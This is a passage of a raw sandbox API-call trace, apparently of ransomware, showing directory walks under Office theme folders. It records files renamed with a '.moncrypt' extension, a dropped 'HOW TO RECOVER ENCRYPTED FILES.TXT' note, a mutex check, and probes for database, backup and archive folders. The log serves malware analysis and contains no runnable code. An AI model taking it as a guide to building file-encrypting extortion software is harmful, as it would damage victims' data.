GetLastError () returned 0x12 [0051.459] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.459] GlobalUnlock (hMem=0x44000c) returned 0 [0051.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.459] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.459] GlobalUnlock (hMem=0x44000c) returned 0 [0051.459] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.460] GlobalUnlock (hMem=0x440004) returned 0 [0051.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fe85620, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fe85620, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.460] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.460] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.460] GlobalLock (hMem=0x440004) returned 0x550170 [0051.460] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.460] GlobalUnlock (hMem=0x440004) returned 0 [0051.460] GlobalLock (hMem=0x440004) returned 0x550170 [0051.460] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.460] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.460] GlobalUnlock (hMem=0x440004) returned 0 [0051.460] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.460] GlobalUnlock (hMem=0x44000c) returned 0 [0051.460] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.460] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fe85620, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fe85620, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.460] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.460] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.460] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.460] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.460] GlobalUnlock (hMem=0x44000c) returned 0 [0051.460] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.460] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.460] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.460] GlobalUnlock (hMem=0x44000c) returned 0 [0051.461] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.461] GlobalUnlock (hMem=0x440004) returned 0 [0051.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.461] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb193, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM.moncrypt", cAlternateFileName="ECHOEL~1.MON")) returned 1 [0051.461] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.461] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.461] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.461] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.461] GlobalUnlock (hMem=0x440004) returned 0 [0051.461] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.461] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.461] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.461] GlobalUnlock (hMem=0x440004) returned 0 [0051.461] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.461] GlobalUnlock (hMem=0x44000c) returned 0 [0051.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.461] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0051.461] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.461] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.461] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.461] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.461] GlobalUnlock (hMem=0x44000c) returned 0 [0051.461] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.461] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.461] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.461] GlobalUnlock (hMem=0x44000c) returned 0 [0051.461] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.461] GlobalUnlock (hMem=0x440004) returned 0 [0051.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.462] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe5f4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fe5f4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fe5f4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.462] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.462] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.462] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.462] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.462] GlobalUnlock (hMem=0x440004) returned 0 [0051.462] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.462] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.462] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.462] GlobalUnlock (hMem=0x440004) returned 0 [0051.462] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.462] GlobalUnlock (hMem=0x44000c) returned 0 [0051.462] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.462] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.462] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.462] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.462] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.462] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.462] GlobalUnlock (hMem=0x44000c) returned 0 [0051.462] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.462] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.462] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.462] GlobalUnlock (hMem=0x44000c) returned 0 [0051.462] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.462] GlobalUnlock (hMem=0x440004) returned 0 [0051.462] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.462] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x62d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.462] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.462] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.463] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.463] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.463] GlobalUnlock (hMem=0x440004) returned 0 [0051.463] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.463] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.463] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.463] GlobalUnlock (hMem=0x440004) returned 0 [0051.463] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.463] GlobalUnlock (hMem=0x44000c) returned 0 [0051.463] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.463] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x62d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.463] GetLastError () returned 0x12 [0051.463] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.463] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0051.463] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.463] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.463] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.463] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.463] GlobalUnlock (hMem=0x44000c) returned 0 [0051.463] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.463] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.464] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.464] GlobalUnlock (hMem=0x44000c) returned 0 [0051.464] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.464] GlobalUnlock (hMem=0x440004) returned 0 [0051.464] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.464] GlobalLock (hMem=0x440004) returned 0x550170 [0051.464] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.464] GlobalUnlock (hMem=0x440004) returned 0 [0051.464] GlobalLock (hMem=0x440004) returned 0x550170 [0051.464] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.464] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.464] GlobalUnlock (hMem=0x440004) returned 0 [0051.464] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.464] GlobalUnlock (hMem=0x44000c) returned 0 [0051.464] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.464] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE") returned 1 [0051.464] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.464] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.464] GlobalUnlock (hMem=0x44000c) returned 0 [0051.464] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.464] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.464] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.464] GlobalUnlock (hMem=0x44000c) returned 0 [0051.464] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.464] GlobalUnlock (hMem=0x440004) returned 0 [0051.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟐRꞤR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.466] GetLastError () returned 0x3 [0051.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.466] GetLastError () returned 0x2 [0051.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0051.467] GetLastError () returned 0x2 [0051.467] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0051.468] GetLastError () returned 0x2 [0051.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18뻜R\x18j")) returned 0xffffffff [0051.468] GetLastError () returned 0x2 [0051.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0051.469] GetLastError () returned 0x2 [0051.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0051.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0051.469] GetLastError () returned 0x2 [0051.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.470] GetLastError () returned 0x2 [0051.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.470] FindFirstFileW 